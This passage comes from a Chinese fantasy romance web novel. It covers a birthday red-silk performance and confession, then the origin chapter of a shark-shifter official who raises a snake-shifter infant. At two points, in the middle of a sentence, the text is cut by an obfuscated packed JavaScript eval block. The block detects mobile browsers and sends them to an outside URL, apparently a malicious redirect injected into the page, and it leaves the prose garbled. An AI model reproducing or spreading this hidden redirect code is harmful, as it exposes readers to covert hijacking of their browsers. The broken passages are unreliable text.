那是一个男子,穿着一身耀眼的红色长袍,如同火焰一般夺目。他的脸上戴着一个精美的银色面具,遮住了上半张脸,只露出线条优美的下颌和紧抿的嘴唇。他的手中握着一束长长的、如同丝绸般光滑的红色绸带,绸带的另一端似乎固定在了高处。 “哇……”方妙忍不住发出一声低低的惊叹。 只见男子站在舞台中央,微微抬手,手中的红绸便随着乐声轻轻舞动起来。那绸带在他手中仿佛有了生命,时而如流水般婉转,时而如火焰般炽烈,在空中划出一道道优美的弧线。 随着他的动作,更多的红绸从舞台四周飞出,与他手中的绸带交织在一起,形成一片红色的云霞。男子的身影在红绸中若隐若现,时而腾空跃起,时而旋转飞舞,仿佛踏云而行,在空中做出各种高难度的动作,却又显得那样轻盈飘逸,宛如谪仙。 台下先是一片寂静,随即爆发出雷鸣般的掌声和惊呼声。 “太厉害了!这是怎么做到的?” “天啊!他好像会飞一样!” “这红绸舞也太好看了吧!” 方妙看得完全呆住了,眼睛一眨不眨地盯着那个在空中飞舞的红色身影。她从未见过如此震撼的表演,那男子的每一个动作都充满了力量与美感,红色的绸带在他手中翻卷飞舞,与渐渐暗下来的天空形成了鲜明的对比,美得让人窒息。 她觉得那个身影有些熟悉,却又说不上来在哪里见过。那身红色的长袍,那流畅的动作,还有那面具下隐约透出的沉稳气质…… 乐声渐渐变得激昂起来,男子的动作也越发大胆。他猛地一扯手中的红绸,身体如离弦之箭般冲天而起,直上数十丈高的空中,然后又骤然落下,在即将触地的瞬间,又凭借着红绸的力量再次腾空,在空中做出一个漂亮的翻转。 全场的气氛被推向了高潮,就在这时,乐声忽然一停,男子在空中一个优雅的回旋,稳稳地落在舞台中央。他手中的红绸缓缓垂下,如同瀑布般流淌在他脚边。 台下安静下来,所有人都屏住呼吸,等待着接下来的动作。 男子微微喘息,面具下的目光似乎在人群中搜索着什么。然后,他抬起手,指向了方妙所在的方向。 “哎?”方妙一愣,还没反应过来,就被身边的顾时夜和顾夜白猛地往前一推。 “妙儿姐!该你上场了!” “快去快去!” 周围的人群也跟着起哄,纷纷把她往舞台的方向推。方妙吓了一跳,脸颊瞬间涨得通红:“哎?我?为什么是我?” 江知烨在她身后轻轻推了她一把,声音带着笑意:“去吧,没事的。” 见状方妙有些不知所措,但在众人的簇拥下,她还是晕乎乎地走上了舞台。脚下的红地毯柔软厚实,她能清晰地听到台下无数双眼睛注视着她的声音,紧张得手心都出汗了。 她站在舞台中央,离那个穿红袍的男子只有几步之遥。 男子看着她,面具下的目光似乎柔和了许多。他没有说话,只是伸出手。 方妙犹豫了一下,下意识地往后退了一步。 男子见状,忽然向前一步,动作快如闪电,在方妙还没反应过来之前,已经伸出手臂,轻轻一揽,便将她拦腰抱了起来。 “呀!”方妙惊呼一声,下意识地抓住了他胸前的衣襟。他的怀抱很稳,带着一股熟悉的、让她安心的气息。 就在这时,男子手中的红绸猛地一振,两人竟随着红绸一同腾空而起! “啊——!”方妙吓得闭上了眼睛,紧紧抱住男子的脖子,只觉得身体轻飘飘的,像是飞了起来。 台下再次爆发出震天的惊呼声和掌声。 男子抱着方妙,在空中缓缓飞舞。他的动作很稳,没有丝毫颠簸,方妙渐渐不再那么害怕,小心翼翼地睁开眼睛。 眼前的景象让她惊呆了。 她从未从这样的高度俯瞰过南清城。暮色中的城市灯火初亮,星星点点,远处的山峦轮廓依稀可见,天空被染成了瑰丽的紫色和橙色。手中的红绸在空中飞舞,带着她和男子一同旋转、飘荡,仿佛置身于云端。 晚风吹拂着她的发梢和裙摆,银铃发出清脆的响声,与空中飞舞的红绸声交织在一起。她能感觉到男子手臂的力量,那么坚定,那么可靠。 忽然,一阵稍大的风吹来,卷起了男子脸上的面具。 方妙下意识地看去,只见面具被风吹起,在空中打了个旋,然后缓缓落下。 面具下的那张脸,熟悉得让她瞬间屏住了呼吸。 沉稳的眉眼,挺直的鼻梁,紧抿的嘴唇此刻却带着一丝温柔的笑意。 是安德鲁。 “安德鲁?”方妙忍不住轻唤出声,声音里带着难以置信的惊喜和一丝颤抖。 安德鲁低头看着她,眼中漾着深深的笑意和温柔,“是我,妙儿。” 他的声音在晚风中显得格外清晰,带着一丝不易察觉的紧张。 两人在空中缓缓落下,红绸也随之慢慢垂下。当他们的双脚终于踏回舞台时,最后几缕红绸恰好飘落下来,轻柔地覆盖在他们的头上,如同一块温暖的红盖头,将他们与外界的喧嚣隔绝开来。 红绸之下,光线变得柔和而暧昧。方妙能清晰地闻到安德鲁身上熟悉的气息,能看到他眼中映出的自己的模样,还有那毫不掩饰的、浓烈的爱意。 安德鲁看着她,看着她眼中的惊喜、感动和亮晶晶的水光,心中那捧燃烧了许久的秘火,终于找到了最温暖的归宿。 他微微俯身,在她还没反应过来之前,轻轻吻上了她的唇。 那个吻,温柔而坚定,带着他长久以来的心意和此刻满满的喜悦。 方妙愣住了,随即脸颊变得滚烫,心脏像要跳出胸腔。她能感觉到他唇上的温度,还有那份小心翼翼的珍视。 不知过了多久,安德鲁才缓缓离开她的唇,额头抵着她的额头,声音低沉而温柔,带着浓浓的笑意: “妙儿,生辰快乐。” 红绸之下,世界仿佛只剩下彼此的呼吸和心跳。方妙的脸颊滚烫,心跳如鼓,看着眼前近在咫尺的安德鲁,他眼中的温柔几乎要将她溺毙。 她这才明白,原来这场惊动全城的“夏日祭”,这场盛大华丽的表演,全都是为了她的生辰。 “你……”方妙的声音有些哽咽,千言万语堵在喉咙里,最后只化作一句,“你怎么……” 安德鲁看着她亮晶晶的眼睛,忍不住又伸手替她拂去脸颊上的一缕碎发,指尖触到她温热的肌肤,带着一丝不易察觉的颤抖。 “傻瓜,”他低声道,“你的生辰,我怎么能不准备点特别的?” 他顿了顿,目光扫过周围被红绸隔绝开的狭小空间,又落回她身上,眼中的笑意更深了:“我想让全南清城都知道,今天是我的妙儿的生辰,想让你看看,你在我心里,有多重要。” 方妙的鼻子一酸,眼泪差点掉下来。她从不知道,一向沉稳的安德鲁,竟然会为她准备这样一场惊天动地的惊喜。那些挂满全城的红绸,那场震撼人心的表演,还有此刻笼罩着他们的红盖头……每一个细节,都透着他满满的心意。 好似一切过往终于可以释怀。 “谢谢你,安德鲁……”她吸了吸鼻子,声音带着浓浓的鼻音,“我好喜欢……” 安德鲁笑了,伸手轻轻抱住她,将她埋在自己的怀里。“喜欢就好。” 红绸外,传来顾时夜咋咋呼呼的声音:“哇!亲上了亲上了!江大人你看!安大人太厉害了!” 接着是江知烨爽朗的笑声:“好了好了,别起哄了,让他们俩说说话。” 柳漠澜带着一丝不易察觉的笑意:“时候不早了,花火该放了。” 果然,话音刚落,就听“嘭”的一声巨响,一朵绚丽的花火在夜空中炸开,瞬间照亮了整个南清城。紧接着,“嘭嘭嘭”的声音接连不断,无数朵花火在夜空中绽放,红的、黄的、蓝的、紫的……五彩缤纷,绚烂夺目。 方妙从安德鲁怀里抬起头,透过红绸的缝隙看向天空。 “好美啊……”方妙忍不住感叹。 安德鲁抱着她,也一同看着天空中的花火,嘴角始终带着温柔的笑意。“嗯,很美。”但他心里想的是,再美的花火,也比不上怀里这个姑娘此刻的笑容。 花火持续了很久,直到最后一朵花火在夜空中熄灭,留下淡淡的烟雾和人们经久不息的掌声。 这时,红绸被轻轻掀开,顾时夜和顾夜白笑嘻嘻地探进头来:“安大人,妙儿姐,该下来啦!大家都等着呢!” 方妙这才意识到,他们还站在舞台上,被无数双眼睛看着,脸颊又是一红,赶紧从安德鲁怀里退出来,却被他紧紧握住了手。 安德鲁对众人点了点头,然后牵着方妙的手,一起走下舞台。 台下立刻围上来一群人,江知烨、柳漠澜、白鸽,还有许多平日里认识的街坊邻居,大家都笑着向方妙道贺。 “方妙姑娘,生辰快乐啊!” “安大人真是有心了,这场面,这辈子都忘不了啊!” “是啊是啊,太羡慕你了!” 方妙被大家说得有些不好意思,只是红着脸笑着道谢,手里却紧紧握着安德鲁的手。 顾时夜挤到前面,手里拿着一个包装精美的盒子,献宝似的递给方妙:“妙儿姐,这是我和小白给你的生辰礼物!祝你天天开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694779|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,越来越漂亮!” 顾夜白也跟着递上一个小袋子:“这是我给你买的糖糕,你最喜欢吃的那家!” 方妙接过礼物,心里暖暖的:“谢谢你们,时夜,夜白。” 江知烨也走过来,手里拿着一个小小的木盒:“喏,这是我和阿澜给你的,算是补上之前的‘夏日祭’礼物了。” 方妙打开木盒,里面是一支精致的玉簪,簪头雕着一朵栩栩如生的茉莉花,温润洁白,一看就价值不菲。“哇,好漂亮!谢谢知烨!谢谢阿澜哥!” 她抬起头,看到一直站在江知烨身后的白鸽,便对他笑了笑:“白鸽,谢谢你呀。” 白鸽微微一怔,随即也对她露出了一个极淡的笑容,点了点头。 夜色渐深,广场上的人群渐渐散去,只剩下他们几个人。 江知烨看了看天色,对安德鲁说:“好了,时候不早了,你们也该回去了。” 顾时夜和顾夜白也跟着起哄:“就是就是,安大人,快带妙儿姐回家吧!” 方妙脸颊微红,轻轻拽了拽安德鲁的袖子。 安德鲁笑了笑,:“今日多谢各位帮忙,改日再请大家喝酒。” 江知烨摆摆手:“跟我们还客气什么,快走吧。” 安德鲁牵着方妙的手,向大家道别,然后一起离开了广场。 走在挂满红绸的街道上,夜风吹拂着,带来一丝凉意,却也吹散了白日的喧嚣。街道上的人已经不多了,只有零星的灯笼还在亮着。 方妙靠在安德鲁身边,手里还紧紧攥着那支玉簪,心里满满的都是感动和喜悦。“安德鲁,”她忽然开口,“今天……真的是我这辈子最开心的一天。” 安德鲁侧头看她,“只要你开心,就好。” 方妙笑了,踮起脚尖,在他脸颊上轻轻吻了一下。“我很开心,真的。” 安德鲁微微一怔,随即眼底漾起深深的笑意,反手将她紧紧抱住,低头在她耳边轻声道:“妙儿,以后每一个生辰,我都会让你这么开心。” 方妙埋在他怀里,用力点头,嘴角的笑容怎么也藏不住。 回到安德鲁府上的小院时,月光已经洒满了整个院子。安德鲁推开院门,方妙一眼就看到院子里也挂满了小小的红灯笼,还有几串红绸缠绕在树枝上,在月光下显得格外温馨。 “你连家里也布置了?”方妙惊喜地问道。 安德鲁笑了笑,牵着她走进院子:“嗯,想着你回来看到,会更开心。” 方妙环顾着被装点得喜气洋洋的小院,心里暖烘烘的。她走到桌边,看到上面摆着一桌精致的小菜,还有许多各色糕点。 “你还准备了吃的?” “嗯,知道你看完表演肯定饿了,”安德鲁走过去给人到了一杯甜酒,“快坐下吧。” 方妙乖乖地坐下,看着跳跃的烛火映照着安德鲁温柔的脸庞,心里充满了幸福感。她拿起筷子,尝了一口菜,忍不住赞叹:“哇,好好吃!是你做的吗?” 安德鲁点点头,在她对面坐下:“嗯,都做了一点,怕你不爱吃。” “怎么会!很好吃啊!”方妙大口地吃着,心里甜滋滋的。 两人一边吃着饭,一边聊着白天的趣事。方妙兴奋地说着舞台上的表演,说着空中飞舞的感觉,说着看到安德鲁面具下的脸时的惊喜,眼睛里闪烁着光芒,像永远也说不完似的。 安德鲁就那样静静地听着,时不时为她夹菜,嘴角始终带着温柔的笑意。看着小丫头眉飞色舞的样子,他觉得之前所有的准备和辛苦,都值了。 吃过晚饭,安德鲁收拾好碗筷,方妙则跑到院子里去看那些红灯笼。她伸手轻轻触碰着灯笼的表面,感受着那份温暖的光亮。 安德鲁走过来,从身后轻轻抱住她,下巴抵在她的发顶。“在想什么?” 方妙转过身,依偎在他怀里,仰起头看他:“我在想,我是不是在做梦啊?今天发生的一切,都太不真实了。” 安德鲁笑了,低头在她额头上吻了一下:“不是梦,都是真的。” 他顿了顿,眼神变得认真起来:“妙儿,我以前总觉得,爱一个人,就是要给她安稳的生活,让她不受委屈。但后来我才明白,爱一个人,更是要让她感受到被重视,被宠爱,要让她知道,她在你心里,是独一无二的。” “你为我做了这么多……”方妙的声音有些哽咽,“我……” “傻瓜,”安德鲁打断她,轻轻擦去她眼角的泪水,“为你做这些,我心甘情愿。” 他看着她的眼睛,认真地说:“妙儿,谢谢你出现在我的生命里,谢谢你让我知道,原来爱一个人,是这么幸福的事情。” 方妙看着他眼中真挚的情感,再也忍不住,踮起脚尖,主动吻上了他的唇。 这个吻,带着她的感激,她的喜悦,还有她深深的爱意。 安德鲁一怔,随即便紧紧回抱住她,加深了这个吻。 不知过了多久,两人才分开,都有些气喘吁吁。方妙的脸颊通红,埋在安德鲁的怀里,不敢看他。 安德鲁低笑出声,轻轻拍着她的背:“好了,不早了,该去休息了。” 随即牵着对方的手,走进房间。床上也换上了新的红色床幔,上面绣着精致的鸳鸯图案。方妙看着,脸颊又是一红。 安德鲁帮她卸下头上的玉簪,然后拿起梳子,小心翼翼地为她梳理着头发。 方妙闭着眼睛,享受着这份宁静和温暖。 “安德鲁,”她忽然开口,“以后……我们每年都一起过生辰,好不好?我现在有点喜欢过生辰了。” 从前她并不喜欢自己的生辰,因为她根本不知道自己什么时候出生的,甚至不知道是谁把她带到世上的。 安德鲁梳头的动作一顿,随即温柔地笑了:“好,每年都一起过。” “还要像今天这样热闹吗?” 安德鲁想了想,道:“热闹可以有,但最重要的,是我们在一起。” 方妙睁开眼睛,看着镜子里安德鲁温柔的笑脸,也笑了。“嗯,只要和你在一起,怎么样都好。” 安德鲁放下梳子,从身后抱住她,将脸埋在她的颈窝。“妙儿,我爱你。” 方妙的心猛地一跳,转过身,紧紧抱住他:“我也爱你,安德鲁。” 而在南清城的另一头,江知烨和柳漠澜也回到了他们的住处。江知烨看着柳漠澜,笑着说:“今天安德鲁那小子,可真是出尽了风头。” 柳漠澜倒了两杯茶,递给江知烨一杯,淡淡道:“看方妙那丫头开心的样子,也算值了。” 江知烨接过茶,喝了一口,忽然凑近柳漠澜,笑嘻嘻地说:“阿澜,你说,下次是不是该轮到我们了?” 柳漠澜抬眼看他,眼神清冷:“轮到什么?” “就像安德鲁那样,办一场盛大的……”江知烨话没说完,就被柳漠澜一个眼神制止了。 “无聊。”柳漠澜丢下两个字,转身走到窗边。 江知烨看着他的背影,忍不住笑了。他知道,柳漠澜嘴上说着无聊,心里未必不是这么想的。 “哎呀,好啦——”江知烨走过去,双手撑在墙壁上,把人圈在自己臂弯里,“你就说你喜不喜欢?” “没个正形儿。”柳漠澜轻点着眼前人的嘴唇,媚眼如丝,勾的江知烨一股燥热。 “我还有更没正形的你信吗?”说罢,江知烨弯腰把人扛起来随后小心翼翼地放到床上。 “怎么?想干嘛?”柳漠澜随即幻化出双腿,白皙的小腿不失线条看上去性感有力,绿白长衫顺着抬起的动作缓缓滑落,看的江知烨呼吸一滞,眼神晦暗不明。 “别闹。”江知烨握住在自己身上乱蹭的脚,报复性地用指腹摩挲敏感的脚心肉,嗓音却明显地哑了下来,“给你看个东西。” 说着,在柳漠澜疑惑地目光中,江知烨单膝点地,把手里的脚放在自己另一只膝盖上,随即从一个随身携带的锦囊里拿出一根带有铃铛的红绳,如视珍宝一般给人系在了左脚。 “大人这是什么意思呢?”柳漠澜看着左脚腕上的铃铛开口询问,铃铛随着动作发出叮铃叮铃地声响。他抬起脚,用脚尖挑起眼前人的下巴。 “当然是给你辟邪啊”江知烨握住那只胡作非为地脚,虔诚地在脚背上亲吻了一下,:“顺便把你彻底拴住,永远不离开我。” 脚背上突然袭来的触感让柳漠澜浑身一僵,后脖颈的鳞片不自觉地松动,一片潮红从中蔓延上脸颊,:“没个正形儿....”说罢像被烫到一样把腿缩起来,眼里满是雾蒙蒙地嗔怪。 “柳漠澜....”江知烨起身抱住床上的人,将脸埋在对方脖颈,温热的气息扑洒在上面,瞬间泛起薄红,“我失去了太多,不想再失去你了.....”声音带着祈求与偏执,十分矛盾。 “好好,不离开你。”柳漠澜眼里闪过一丝异样地纠结,但还是轻轻回抱住江知烨,给予安全感。 然而在柳漠澜看不到的地方,江知烨用最偏执地表情,说着最委屈地话。 他埋在对方颈间的温热呼吸里藏着冰冷的锁链,语气里祈求背后,是想将那人的影子锁进瞳孔、用视线砌成永无出口的牢笼。 48. 青汐殇 江知烨的记忆是从咸腥的海风开始的。 他出生的地方叫望潮镇,一个被碧蓝海水环抱着的小小渔村。 镇子的名字由来简单——每当大潮将至,老人们便会站在礁石上,望着远方海天交界处翻涌的白线,口中念念有词,那是与大海相处千年的默契。而江知烨的出生,却伴随着一场不大不小的风暴,母亲在他落地的啼哭中闭上了眼,将他独自留在了这个带着咸涩气息的世界。 父亲江晟洹是望潮镇里出了名的硬汉,一双眼睛像被海水浸泡过,深邃而坚韧。他失去妻子的痛苦藏在每日出海的背影里,藏在深夜独自坐在门槛上,望着潮汐涨落时沉默的侧影中。 但他对江知烨,却有着粗粝外壳下的柔软。他用粗糙的手掌小心翼翼地抱着襁褓里的儿子,用渔家汉子特有的、略显笨拙的温柔喂养他。江知烨记事起,父亲的声音总是带着海风的硬朗,教导他捕鱼技巧时严厉,可在他夜里害怕海浪声时,又会把他紧紧搂在怀里,用低沉的嗓音哼着不成调的渔歌。 江知烨这个名字由来,是父亲希望他"知天命,燃赤焰"。 江知烨从小就知道自己与别的孩子一样,都是鲨鱼的后人,可又不一样,因为别的小孩不能在淡水里呼吸可是他能。 当他还是个孩童,第一次跟着父亲下海时,双腿在接触海水的瞬间便化作了一条覆盖着细密银蓝色的鲨鱼尾。 那尾鳍在水中摆动时,带来的力量让他惊喜又惶恐。 父亲对此只是沉默地看着,待他上岸,双腿恢复原状后,才拍了拍他的肩膀:“知烨,这是咱们的血脉,没什么好怕的。 ” 望潮镇的日子简单而平静,潮起潮落间,江知烨渐渐长大。他继承了父亲的沉默,话不多,更多的时候是坐在礁石上,看海,或者独自潜入水中,用他的鲨鱼尾在海底穿梭,感受水流包裹的自由。他的世界里,除了父亲,便是这片无垠的海。 直到他成年那日,父亲突然告诉他,要离开望潮镇,去往遥远的江南。 “官府有调令,”父亲坐在灯下,脸上是江知烨从未见过的复杂神情,“我被派往南清,任理尚府推官。那边近来不太平,城边有乱贼滋扰,我还兼了个‘平叛先锋’的职衔,要带一营兵丁剿匪。” 江知烨不是特别了解父亲过往的事情,只知道父亲原先就是南清的官员,因为母亲的一句想回大海,他就离开了,而现在他也该回去了。 当时的江知烨有些茫然,他从未离开过望潮镇,对“江南”、“南清”、“推官”这些词只有模糊的概念。但他看着父亲眼中不容置疑的坚定,只是点了点头。 一路南下,远离了熟悉的海腥味,空气变得湿润而温暖,泥土和草木的气息取代了咸风。抵达南清时,正是暮春,满城飞花,与望潮镇的粗犷截然不同。 理尚府位于城中东边繁华处,父亲一到任便忙得脚不沾地。作为推官,他要处理刑狱案件;作为平叛先锋,他更要整训先锋营,策划清剿城边乱贼的事宜。江晟洹本就不善言辞,如今更是每日早出晚归,常常是江知烨已经睡下,他才拖着疲惫的身躯回来,第二日天不亮又已离去。 偌大的府邸,对江知烨来说有些陌生和空旷。他不适应这里的人情世故,也插不进父亲忙碌的世界。他依旧沉默,大部分时间都待在自己的院子里,或是在府中僻静处发呆。府里的下人对这位新来的少爷有些好奇,却也因他不爱说话的性子而不敢靠近。 一日,江知烨在府外闲逛,不知不觉走到了城郊。绕过一片茂密的竹林,他发现了一片隐匿的湖泊。湖水清澈见底,四周被青翠的草木环绕,安静得只听得见鸟鸣和风声。这里似乎很少有人来,正合他意。他左右看了看,确认无人后,便褪去衣物,小心翼翼地下水。 熟悉的感觉袭来,双腿在接触湖水的瞬间化作了银蓝色的鲨鱼尾。尾鳍轻轻摆动,带起一圈圈涟漪。他舒展身体,像回到了望潮镇的海里,只是这里的水没有海盐的味道,多了几分清甜。他靠在湖边一块光滑的大石头上,闭上眼,享受着这片刻的宁静与自由。 湖面平静无波,只有江知烨的鲨鱼尾偶尔在水中轻摆,带起细碎的水声。阳光透过树叶的缝隙洒在湖面上,斑驳陆离,也落在他冷白色的肌肤和银蓝色的尾鳍上,泛着柔和的光。他沉浸在水中的舒适感里,几乎要睡着。 就在这时,身后靠近湖边的草丛里传来一阵窸窸窣窣的轻响。那声音很细微,像是小兽爬行,又像是风吹草叶,但江知烨在海边长大,对周遭的动静一向敏感。他微微睁开眼,没有动,只是竖起耳朵,仔细倾听。 声音越来越近,带着一种试探性的、鬼鬼祟祟的意味。江知烨缓缓转过头,看向身后的草丛。只见那碧绿的草叶被分开一条细缝,一个小小的、三角形的脑袋探了出来。 那是一条蛇。 江知烨皱了皱眉,下意识地想避开。在望潮镇,海边的礁石缝里也有蛇,但大多是无毒的。他盯着那条蛇的脑袋,只见它通体翠绿,眼睛亮晶晶的,像两颗黑曜石,头部两侧有一条清晰的白色纹路,从眼后延伸到颈部——是竹叶青。 竹叶青有毒,这一点江知烨知道。但眼前这条蛇实在太小了,小到它的鳞片看起来还带着新生的湿润感,脑袋只有指甲盖那么大,吐着细细的信子,好奇地打量着他。它似乎一点也不怕人,或者说,还不知道害怕是什么。 小蛇扭着细细的身体,从草丛里完全爬了出来,朝着江知烨所在的石头慢慢挪动。它的动作还有些笨拙,显然是刚出壳不久。 江知烨看着它一点点靠近,心里有些复杂。一方面是对毒蛇的警惕,另一方面,又觉得这小东西实在太弱小了,透着一股傻乎乎的天真。在它即将爬到石头边缘,似乎想往他身上爬时,江知烨伸出手,动作飞快地一把将它抓在了手里。 小蛇被抓住,立刻扭动起来,细小的身体在他掌心挣扎,冰凉的鳞片划过皮肤,带来一种奇异的触感。江知烨将它举到眼前,仔细端详。确实是竹叶青,不过是刚出生的幼蛇,毒牙应该还没发育完全,就算咬人,恐怕也注不进多少毒素。 “胆子倒是不小。”江知烨低声自语,看着小蛇还在不停乱动,尾巴拍打着他的手掌,他故意板起脸,用一种威胁的语气说:“再动,就把你抓回去泡酒。” 他其实也就是随口一说,他一喝酒就醉,更别说真的去泡什么蛇酒了。但奇怪的是,小蛇像是听懂了他的话,或者是被他低沉的声音吓到了,居然真的不动了,只是昂着小脑袋,睁着黑曜石般的眼睛,一眨不眨地看着他。 江知烨挑了挑眉,有些意外。他看着掌心里这条小小的竹叶青,翠绿的颜色在阳光下显得格外鲜亮,小小的身体蜷缩着,倒是有几分可爱。他想起自己在这陌生的南清,除了父亲几乎没有亲近的人,每天面对的都是沉默和空旷。鬼使神差地,他心里生出一个念头——把它带回去养着。 “反正你现在也没什么威胁。”他对小蛇说,像是在给自己找理由,“先跟我回去吧,看你能不能活下来。” 他小心翼翼地将小蛇揣进怀里,用衣襟裹好,确保它不会掉出来。湖水已经有些凉了,他摆动鲨鱼尾,游回岸边,上岸后,双腿恢复原状。他穿好衣服,低头看了看怀里,小蛇很乖,没有再动。 回到府邸,江知烨找了个闲置的小陶罐,在里面铺了些柔软的干草,把小蛇放了进去。他不知道蛇吃什么,想起望潮镇的渔民偶尔会抓到蛇,似乎喂些小鱼小虾。他便去厨房要了些剁碎的生鱼肉,放在陶罐里。 小蛇起初有些怕生,躲在干草堆里不肯出来。江知烨也不强迫,只是每天定时给它送些吃的,偶尔会把它拿出来,放在手心里把玩。说来也奇怪,这小蛇自从被他“威胁”过一次后,就变得异常听话,在他手里从不挣扎,也从不张口咬人,只是温顺地待着,有时还会用脑袋轻轻蹭他的手指。 晚上,江知烨看书时,会把小蛇放在桌案上,它就盘在砚台旁边,安静地看着他。有时江知烨睡着了,醒来会发现小蛇不知何时爬到了他的枕边,乖乖地窝成一个小团,像个绿色小枕头。 日子一天天过去,小蛇在江知烨的照料下渐渐长大了一些,虽然还是很小,但已经能灵活地在房间里爬来爬去。它似乎对江知烨产生了极强的依赖,只要他在房间里,它就会寸步不离地跟着,有时还会顺着他的裤腿往上爬,然后窝在他的怀里睡觉。 江知烨原本沉默的生活,因为这个小小的生命而多了一丝生气。他会对着小蛇说些在别人面前绝不会说的话,虽然知道它听不懂,但心里的那份孤独感,似乎也减轻了不少。 那天早晨,江知烨是被一阵细微的、奇怪的声响吵醒的。他通常睡得很沉,尤其是在江南温润的气候里,清晨的睡眠总是格外安稳。但今天,他感觉身边似乎多了什么东西,暖暖的,还带着轻微的蠕动。 他迷迷糊糊地睁开眼,映入眼帘的景象让他瞬间清醒,睡意全无,整个人都僵住了。 在他枕边,原本应该是那条小竹叶青蛇窝着的地方,此刻竟然躺着一个小小的、粉雕玉琢的小孩。 那小孩看起来刚出生没多久,小脸蛋巴掌大小,皮肤白得像上好的羊脂玉,闭着眼睛,长长的睫毛像两把小扇子,微微颤动着。最让江知烨震惊的是,这小孩的下半身,并不是人类的双腿,而是一条覆盖着细密翠绿鳞片的蛇尾,正是他养的那条竹叶青的颜色和纹路! “……”江知烨张了张嘴,却发不出任何声音。他揉了揉眼睛,以为自己还在做梦,但指尖传来的温热触感告诉他,这一切都是真的。 这……这是怎么回事?他养的小蛇……化形了? 他自然知道这个兽人世界生灵拥有化形的能力,但亲眼见到,尤其是发生在自己养的小蛇身上,还是让他感到无比的震惊和茫然。 他小心翼翼地伸出手,指尖颤抖着,轻轻碰了碰小孩的小脸蛋。皮肤柔软得像豆腐,小家伙似乎被他碰醒了,小嘴瘪了瘪,然后“哇”的一声大哭起来。 那哭声响亮又委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694780|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈,吓得江知烨手忙脚乱。他从来没照顾过小孩,更何况是一个下半身是蛇尾的小孩! 他想把小家伙抱起来,又不知道该怎么抱,怕弄伤了他。 慌乱中,他想起了府里的乳娘。乳娘是父亲他刚出生时特意请来照顾他的,虽然他已经成年,不需要喂奶,但乳娘为人和善,经验丰富。 江知烨顾不上穿好衣服,随便披了件外袍,小心翼翼地将那个还在大哭的小家伙捧在手里,快步跑到乳娘的院子。 乳娘看到江知烨捧着个小孩过来,先是一愣,随即看到小孩那翠绿的蛇尾,眼中闪过一丝惊讶,但很快就恢复了平静,仿佛看到了什么稀松平常的事情。 “少爷,这是……”乳娘问道。 “它……它是我养的那条蛇……”江知烨有些语无伦次,“早上起来就变成这样了,一直在哭,我……我不知道该怎么办。” 乳娘凑近看了看小家伙,见他哭得满脸通红,小嘴还在吧嗒吧嗒地动,便笑着说:“傻少爷,他这是饿了呀。小娃娃刚出生,哪有不饿的道理。” “饿了?”江知烨愣住,“那……那给他吃什么?他以前吃生鱼肉的……” 乳娘摇了摇头:“现在不一样了,他化了兽人形,得吃些人吃的东西。不过这么小,只能喝奶。可府里也没有刚生产的妇人……” 江知烨皱起眉,看着怀里还在哭个不停的小家伙,心里一阵烦躁。 他低头看了看小家伙,见他正伸出小小的舌头,舔着自己的手指,眼睛还没完全睁开,只是本能地寻找着食物。 一个念头突然闪过江知烨的脑海。他是兽人,小家伙也是兽人,而且还是一条蛇,两人都是对血敏感的动物......而且,他刚才碰小家伙的时候,感觉到他身上有一股微弱的、与自己相似的气息,虽然很淡,但确实存在。 想到这里,江知烨不再犹豫。他对乳娘说:“乳娘,您先回去吧,我自己试试。” 乳娘虽然有些担心,但见江知烨态度坚决,便点了点头,嘱咐了几句“小心照顾”,便离开了。 江知烨回到自己的房间,将小家伙放在床上铺的软被上。小家伙大概是哭累了,暂时停了下来,只是委屈地瘪着嘴,小眼睛湿漉漉地看着他。 江知烨找了根干净的细针,咬紧牙关,在自己的食指上轻轻扎了一下。一颗鲜红的血珠立刻冒了出来。他将手指凑到小家伙的嘴边。 小家伙似乎闻到了血腥味,原本无神的眼睛亮了一下,本能地张开小嘴,凑了上去,伸出粉嫩的小舌头,小心翼翼地舔了舔那滴血珠。 尝到味道后,小家伙立刻贪婪地吮吸起来,小嘴巴吧嗒作响,两只小手还紧紧地抓住江知烨的手指,生怕他拿开。 江知烨看着小家伙满足的样子,心里那块紧绷的石头终于落了地。他能感觉到自己的血液正一点点被小家伙吸收,虽然只是一点点,但他能清晰地感受到两人之间那股微弱的联系似乎变得紧密了一些。 小家伙喝了血,很快就安静下来,打了个小小的哈欠,眼睛慢慢闭上,又睡着了。他蜷缩在软被上,小小的身体,翠绿的蛇尾,看起来无害又可爱。 江知烨坐在床边,看着他,心里百感交集。 这条小蛇,现在变成了一个小娃娃,无父无母,只有自己。他想起父亲独自抚养自己的艰辛,又看着眼前这个完全依赖自己的小生命,一股保护欲油然而生。 “以后,你就跟着我吧。”江知烨低声说,像是在承诺,“我会照顾你。” 他想了想,还没给小家伙起名字。以前叫他“小蛇”,现在化了人形,总不能再这么叫。可叫什么好呢?他想了半天,也没想出个合适的名字,最后干脆决定:“暂时还没想到好名字,那就先叫你‘小家伙’吧。” 从那天起,江知烨的生活彻底改变了。他不再是那个沉默寡言、独来独往的少年,他有了一个需要他悉心照料的“小家伙”。 